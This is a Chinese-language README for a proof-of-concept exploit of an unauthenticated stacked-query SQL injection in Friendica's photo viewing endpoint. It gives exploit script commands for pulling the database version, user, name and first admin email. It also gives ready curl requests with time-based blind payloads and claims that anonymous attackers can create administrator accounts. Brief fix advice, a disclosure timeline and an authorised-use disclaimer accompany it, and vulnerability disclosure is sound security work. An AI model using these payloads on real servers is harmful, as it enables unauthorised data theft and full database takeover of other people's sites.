CVE-2026-72550 — Friendica 未认证堆叠查询 SQL 注入 PoC (CVSS 9.8 严重)
| 字段 | 值 |
|---|
| CVE ID | CVE-2026-72550 |
| 产品 | Friendica(自托管联合社交网络) |
| 受影响版本 | <= 2026.08-dev (git HEAD e3fc1bc) |
| 类型 | CWE-89:SQL 注入(未认证,堆叠查询) |
| 严重性 | 严重 — CVSS 3.1:9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| 需要认证 | 无 |
Friendica 的照片查看端点获取 order 查询参数,并将其未转义地拼接进 SHOW COLUMNS ... LIKE '...' 语句中,该语句通过直接调用 PDO::query() 执行——从而允许多条语句执行。无需登录,在默认安装(block_public 默认关闭)中,任何公开可见的照片都足以触发。由于 PDO::query() 会执行堆叠语句,匿名攻击者不仅能读取数据——还能执行任意 SQL,包括通过 INSERT/UPDATE 创建管理员用户。
mod/photos.php:673 — reads raw $_GET['order']
DBStructure::existsColumn() — concatenates into: SHOW COLUMNS FROM `photo` LIKE '$column'
src/Database/DBStructure.php:714
DBA::p() → PDO::query() — executes with stacked statements enabled
默认请求路径即可到达此代码:$cmd 默认为 'view'(满足 $cmd === 'view' 检查),且 no_count 处于关闭状态,因此无需认证,也无需任何非默认设置。
# Install dependency
pip install requests
# Check if target is vulnerable (time-based detection)
python3 exploit.py -u http://target:8176 -r alice -i a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6 --check-only
# Extract database version via blind SQLi
python3 exploit.py -u http://target:8176 -r alice -i a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6 --extract version
# Extract current database user
python3 exploit.py -u http://target:8176 -r alice -i a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6 --extract db_user
# Extract current database name
python3 exploit.py -u http://target:8176 -r alice -i a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6 --extract db_name
# Extract first admin email
python3 exploit.py -u http://target:8176 -r alice -i a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6 --extract admin_email
| 选项 | 描述 |
|---|---|
-u / --url | 目标基础 URL(例如 http://target:8176) |
-r / --user | 要访问其照片画廊的用户名 |
-i / --resource-id | 任意公开可见照片的资源 ID |
--extract | 要窃取的值:version、db_user、db_name、admin_email |
--check-only | 仅测试漏洞,不窃取数据 |
--sleep | SLEEP 延迟秒数(默认:5) |
无需 Cookie 或认证。将其指向任意公开照片的 resource-id:
# Control — valid order, returns fast (~0.05s)
curl -s -o /dev/null -w "%{time_total}\n" \
"http://TARGET/photos/alice/image/RESOURCE_ID?order=created"
# Injection — stacked SLEEP(5) executes, response held ~5s
curl -s -o /dev/null -w "%{time_total}\n" \
"http://TARGET/photos/alice/image/RESOURCE_ID?order=x%27%3BSELECT%20SLEEP(5)--%20-"
解码后的载荷:x';SELECT SLEEP(5)-- -
注入后的 SQL 变为:
SHOW COLUMNS FROM `photo` LIKE 'x';SELECT SLEEP(5)-- -'
# TRUE condition (@@version starts with '1') → delays ~5s
curl -s -o /dev/null -w "%{time_total}\n" \
"http://TARGET/photos/alice/image/RESOURCE_ID?order=x%27%3BSELECT%20IF(SUBSTRING(@@version,1,1)=%271%27,SLEEP(5),0)--%20-"
# FALSE condition (@@version starts with '9') → returns fast
curl -s -o /dev/null -w "%{time_total}\n" \
"http://TARGET/photos/alice/image/RESOURCE_ID?order=x%27%3BSELECT%20IF(SUBSTRING(@@version,1,1)=%279%27,SLEEP(5),0)--%20-"
未认证攻击者可以:
INSERT INTO user 创建管理员账户在默认的 Friendica 安装中,任何匿名访客都可实现完整的数据库接管。
orderSHOW COLUMNS 中使用参数化查询,而非字符串拼接PDO::ATTR_EMULATE_PREPARES => false)| 日期 | 事件 |
|---|---|
| 2026-07-07 | 在本地实例上发现并确认漏洞 |
| 2026-08-11 | 通过 TuranSec CNA 发布 CVE-2026-72550 |
本工具仅用于授权的安全测试和教育目的。请仅对您拥有或已获得明确书面测试许可的系统使用。作者不对滥用行为承担任何责任。
由 Bobur Abdugafforov(@abdugafforov-bobur)发现
CVE 由 TuranSec CNA 分配